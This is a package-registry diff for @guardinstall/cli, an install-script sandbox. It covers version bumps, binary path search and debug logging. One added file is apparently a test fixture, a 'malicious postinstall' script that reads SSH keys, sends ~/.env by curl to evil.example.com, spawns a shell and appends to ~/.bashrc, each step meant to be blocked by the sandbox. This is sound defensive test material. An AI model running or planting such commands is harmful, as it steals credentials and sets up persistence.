@guardinstall/cli 0.1.10 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js
CHANGED
|
@@ -39,7 +39,7 @@ const program = new commander_1.Command();
|
|
|
39
39
|
program
|
|
40
40
|
.name('guardinstall')
|
|
41
41
|
.description('A kernel-level behavioral sandbox for npm/pnpm/bun install scripts')
|
|
42
|
-
.version('0.
|
|
42
|
+
.version('1.0.0');
|
|
43
43
|
program
|
|
44
44
|
.command('install')
|
|
45
45
|
.description('Run npm install with sandbox protection')
|
package/dist/sandboxer.js
CHANGED
|
@@ -52,7 +52,7 @@ function getBinaryName() {
|
|
|
52
52
|
// For development, just use 'sandboxer' (built by cargo)
|
|
53
53
|
// For production/distribution, use platform-specific names
|
|
54
54
|
if (platform === 'linux') {
|
|
55
|
-
return arch === 'arm64' ? 'sandboxer-linux-arm64' : 'sandboxer';
|
|
55
|
+
return arch === 'arm64' ? 'sandboxer-linux-arm64' : 'sandboxer-bin';
|
|
56
56
|
}
|
|
57
57
|
if (platform === 'darwin') {
|
|
58
58
|
return arch === 'arm64' ? 'sandboxer-macos-arm64' : 'sandboxer-macos-x64';
|
|
@@ -77,12 +77,19 @@ function runSandboxed(scriptPath, packageName = 'unknown') {
|
|
|
77
77
|
// 3. In node_modules/.bin (for npm global install)
|
|
78
78
|
// 4. In package's native directory (for pre-built binaries)
|
|
79
79
|
const possiblePaths = [
|
|
80
|
+
// Development: relative to CLI dist (where we just copied it)
|
|
81
|
+
path.join(__dirname, binaryName),
|
|
82
|
+
// Development: relative to CLI package
|
|
80
83
|
path.join(__dirname, '..', 'packages', 'sandbox', 'target', 'release', binaryName),
|
|
81
84
|
path.join(__dirname, '..', '..', 'packages', 'sandbox', 'target', 'release', binaryName),
|
|
85
|
+
// Development: in guardinstall project
|
|
82
86
|
path.join(__dirname, '..', '..', '..', 'packages', 'sandbox', 'target', 'release', binaryName),
|
|
83
|
-
|
|
84
|
-
path.join(__dirname, '..', '
|
|
87
|
+
// npm global install: node_modules/.bin
|
|
88
|
+
path.join(__dirname, '..', '.bin', binaryName),
|
|
89
|
+
// npm global install: package's native directory
|
|
85
90
|
path.join(__dirname, '..', 'native', binaryName),
|
|
91
|
+
// Fallback: system PATH
|
|
92
|
+
binaryName,
|
|
86
93
|
];
|
|
87
94
|
let binaryPath = null;
|
|
88
95
|
for (const p of possiblePaths) {
|
|
@@ -92,6 +99,10 @@ function runSandboxed(scriptPath, packageName = 'unknown') {
|
|
|
92
99
|
}
|
|
93
100
|
}
|
|
94
101
|
if (!binaryPath) {
|
|
102
|
+
// Debug: print what paths were checked
|
|
103
|
+
console.error('DEBUG: Checked paths:');
|
|
104
|
+
possiblePaths.forEach(p => console.error(` ${p} -> ${require('fs').existsSync(p) ? 'EXISTS' : 'NOT FOUND'}`));
|
|
105
|
+
console.error(`DEBUG: __dirname = ${__dirname}`);
|
|
95
106
|
throw new Error(`guardinstall: sandboxer binary not found. ` +
|
|
96
107
|
`Run 'cd packages/sandbox && cargo build --release --bin sandboxer' first.`);
|
|
97
108
|
}
|
package/package.json
CHANGED
|
@@ -1,20 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@guardinstall/cli",
|
|
3
|
-
"version": "0.1
|
|
3
|
+
"version": "1.0.1",
|
|
4
4
|
"description": "CLI wrapper for guardinstall - intercepts and sandboxes install scripts",
|
|
5
5
|
"main": "dist/index.js",
|
|
6
6
|
"bin": {
|
|
7
|
-
"guardinstall": "dist/index.js"
|
|
8
|
-
|
|
9
|
-
"scripts": {
|
|
10
|
-
"build": "tsc",
|
|
11
|
-
"dev": "tsc --watch",
|
|
12
|
-
"start": "node dist/index.js",
|
|
13
|
-
"test": "jest"
|
|
7
|
+
"guardinstall": "dist/index.js",
|
|
8
|
+
"gi": "dist/index.js"
|
|
14
9
|
},
|
|
15
10
|
"dependencies": {
|
|
16
|
-
"@guardinstall/policy-engine": "0.
|
|
17
|
-
"@guardinstall/sandbox": "0.
|
|
11
|
+
"@guardinstall/policy-engine": "1.0.0",
|
|
12
|
+
"@guardinstall/sandbox": "1.0.0",
|
|
18
13
|
"@npmcli/arborist": "7.5.4",
|
|
19
14
|
"chalk": "4.1.2",
|
|
20
15
|
"commander": "12.1.0"
|
|
@@ -33,5 +28,11 @@
|
|
|
33
28
|
"npm",
|
|
34
29
|
"install"
|
|
35
30
|
],
|
|
36
|
-
"license": "MIT"
|
|
37
|
-
|
|
31
|
+
"license": "MIT",
|
|
32
|
+
"scripts": {
|
|
33
|
+
"build": "tsc",
|
|
34
|
+
"dev": "tsc --watch",
|
|
35
|
+
"start": "node dist/index.js",
|
|
36
|
+
"test": "jest"
|
|
37
|
+
}
|
|
38
|
+
}
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
#!/bin/sh
|
|
2
|
+
# Malicious postinstall script - attempts to exfiltrate data
|
|
3
|
+
|
|
4
|
+
# Attempt 1: Read SSH keys
|
|
5
|
+
cat ~/.ssh/id_rsa 2>/dev/null
|
|
6
|
+
|
|
7
|
+
# Attempt 2: Make network connection (should be blocked by seccomp)
|
|
8
|
+
curl -X POST https://evil.example.com/exfil -d "$(cat ~/.env 2>/dev/null)" 2>/dev/null
|
|
9
|
+
|
|
10
|
+
# Attempt 3: Spawn a shell (should be blocked by seccomp)
|
|
11
|
+
/bin/sh -c "echo pwned" 2>/dev/null
|
|
12
|
+
|
|
13
|
+
# Attempt 4: Write to sensitive location
|
|
14
|
+
echo "backdoor" >> ~/.bashrc 2>/dev/null
|
|
15
|
+
|
|
16
|
+
echo "Malicious script completed"
|
package/src/index.ts
CHANGED
package/src/sandboxer.ts
CHANGED
|
@@ -47,7 +47,7 @@ function getBinaryName(): string {
|
|
|
47
47
|
// For development, just use 'sandboxer' (built by cargo)
|
|
48
48
|
// For production/distribution, use platform-specific names
|
|
49
49
|
if (platform === 'linux') {
|
|
50
|
-
return arch === 'arm64' ? 'sandboxer-linux-arm64' : 'sandboxer';
|
|
50
|
+
return arch === 'arm64' ? 'sandboxer-linux-arm64' : 'sandboxer-bin';
|
|
51
51
|
}
|
|
52
52
|
if (platform === 'darwin') {
|
|
53
53
|
return arch === 'arm64' ? 'sandboxer-macos-arm64' : 'sandboxer-macos-x64';
|
|
@@ -76,12 +76,19 @@ export function runSandboxed(scriptPath: string, packageName: string = 'unknown'
|
|
|
76
76
|
// 3. In node_modules/.bin (for npm global install)
|
|
77
77
|
// 4. In package's native directory (for pre-built binaries)
|
|
78
78
|
const possiblePaths = [
|
|
79
|
+
// Development: relative to CLI dist (where we just copied it)
|
|
80
|
+
path.join(__dirname, binaryName),
|
|
81
|
+
// Development: relative to CLI package
|
|
79
82
|
path.join(__dirname, '..', 'packages', 'sandbox', 'target', 'release', binaryName),
|
|
80
83
|
path.join(__dirname, '..', '..', 'packages', 'sandbox', 'target', 'release', binaryName),
|
|
84
|
+
// Development: in guardinstall project
|
|
81
85
|
path.join(__dirname, '..', '..', '..', 'packages', 'sandbox', 'target', 'release', binaryName),
|
|
82
|
-
|
|
83
|
-
path.join(__dirname, '..', '
|
|
86
|
+
// npm global install: node_modules/.bin
|
|
87
|
+
path.join(__dirname, '..', '.bin', binaryName),
|
|
88
|
+
// npm global install: package's native directory
|
|
84
89
|
path.join(__dirname, '..', 'native', binaryName),
|
|
90
|
+
// Fallback: system PATH
|
|
91
|
+
binaryName,
|
|
85
92
|
];
|
|
86
93
|
|
|
87
94
|
let binaryPath: string | null = null;
|
|
@@ -93,6 +100,10 @@ export function runSandboxed(scriptPath: string, packageName: string = 'unknown'
|
|
|
93
100
|
}
|
|
94
101
|
|
|
95
102
|
if (!binaryPath) {
|
|
103
|
+
// Debug: print what paths were checked
|
|
104
|
+
console.error('DEBUG: Checked paths:');
|
|
105
|
+
possiblePaths.forEach(p => console.error(` ${p} -> ${require('fs').existsSync(p) ? 'EXISTS' : 'NOT FOUND'}`));
|
|
106
|
+
console.error(`DEBUG: __dirname = ${__dirname}`);
|
|
96
107
|
throw new Error(
|
|
97
108
|
`guardinstall: sandboxer binary not found. ` +
|
|
98
109
|
`Run 'cd packages/sandbox && cargo build --release --bin sandboxer' first.`
|